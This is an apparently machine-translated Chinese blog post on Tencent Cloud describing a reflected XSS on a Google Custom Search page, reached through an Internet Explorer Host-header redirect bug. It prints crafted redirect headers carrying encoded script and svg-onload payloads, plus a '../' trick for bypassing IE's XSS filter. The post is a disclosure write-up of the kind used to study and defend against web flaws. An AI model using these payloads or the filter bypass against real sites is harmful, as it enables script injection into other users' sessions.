前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过主机标头的 XSS

通过主机标头的 XSS

原创
作者头像
Khan安全团队
发布2022-01-11 21:38:44
1.5K0
发布2022-01-11 21:38:44
举报
文章被收录于专栏:Khan安全团队Khan安全团队

在 IE 中处理重定向时有一个有趣的错误,它可以将任意字符插入到 Host 标头中。假设您有以下 http 响应:

HTTP/1.1 302 发现

日期:2015 年 3 月 6 日星期五 08:35:32 GMT

服务器:Apache/2.2.22 (Debian)

X-Powered-By:PHP/5.4.36-0+deb7u3

位置:http://example .com%2flogin.php

Vary: Accept-Encoding

Content-Length: 0

Connection: close

Content-Type: text/html

猜猜接下来会发出什么请求?会发行吗?Location 标头看起来并不正确......所以这是 IE 所做的:

GET /login.phphp/ HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: pl-PL

用户代理:Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: example.com/login.php

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache

可以看的没错:Host头中有“example.com/login.php”。还有一些奇怪的路径:为什么在地球上是 login.phphp 而原始 URL 中没有类似的东西?好吧,看来 IE 对其 URL 编码和 URL 解码形式的路径做了一些奇怪的覆盖。图片说明了一切:

继续前进,您可能会期望服务器会倾向于以 400 Bad Request 响应这样一个奇怪的 Host 标头。这通常是真的......

但幸运的是,Google 在处理 Host 标头时存在一些怪癖,可以绕过它。

怪癖是在主机头中添加端口号。它实际上没有经过验证,您可以在冒号后放置您喜欢的任何字符串。就像在 Gmail 上这样:

Gmail 足够聪明,可以对其进行正确编码。

在继续讨论正确的 XSS 之前,我需要提到另一个 Google 服务器的特定行为,稍后将需要它来绕过 IE 的 XSS 保护。通常,当您尝试到达路径内部会出现双点时(例如 /test1/../test2),Google 服务器会立即对其进行规范化并发出重定向。

但是,当您在路径中添加分号时,神奇地不再发生这种情况。

好的,让我们继续讨论 Google CSE XSS。它看起来就像这样:

主机标头清楚地反映在响应中,无需任何编码。请注意,Burp 的语法高亮在屏幕截图中具有误导性:</textarea>实际上关闭了标签,脚本将被执行。

所以我准备了一个简单的网页,返回以下 http 响应:

HTTP/1.1 302 Found

Server: Apache/2.2.22 (Debian)

Location: https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b% 3c%2ftextarea%3e%3cscript%3ealert(1)%3c%2fscript%3e

期望下一个请求将包含以下主机标头:

主机:www.google.com:443/cse/tools/create_onthefly;</textarea><script>alert(1)</script>

这确实发生了,但 IE 知道这里发生了一些事情......

幸运的是,IE 的 XSS 过滤器很笨,很容易绕过它。还记得分号和“../”的技巧吗?好吧,过滤器似乎通过将地址栏中的 URL 与页面内容进行比较来工作。因此,当您向/<svg/onload=alert(1)/../../发出请求时,IE 将在地址栏中自动将其规范化为/并且将不再看到 XSS。这简直太搞笑了!

所以最终我有一个带有以下标题的页面:

位置:https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b%3c%2ftextarea%3e%3csvg%2fonload%3dalert%28document%2edomain%29 %3e%3b%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e %2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f

(其中值解码为:位置:https://www.google.com:443/cse/tools/create_onthefly;</textarea><svg/onload=alert(document.domain)>?;/../.. /../../../../../../../../../../../../)

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com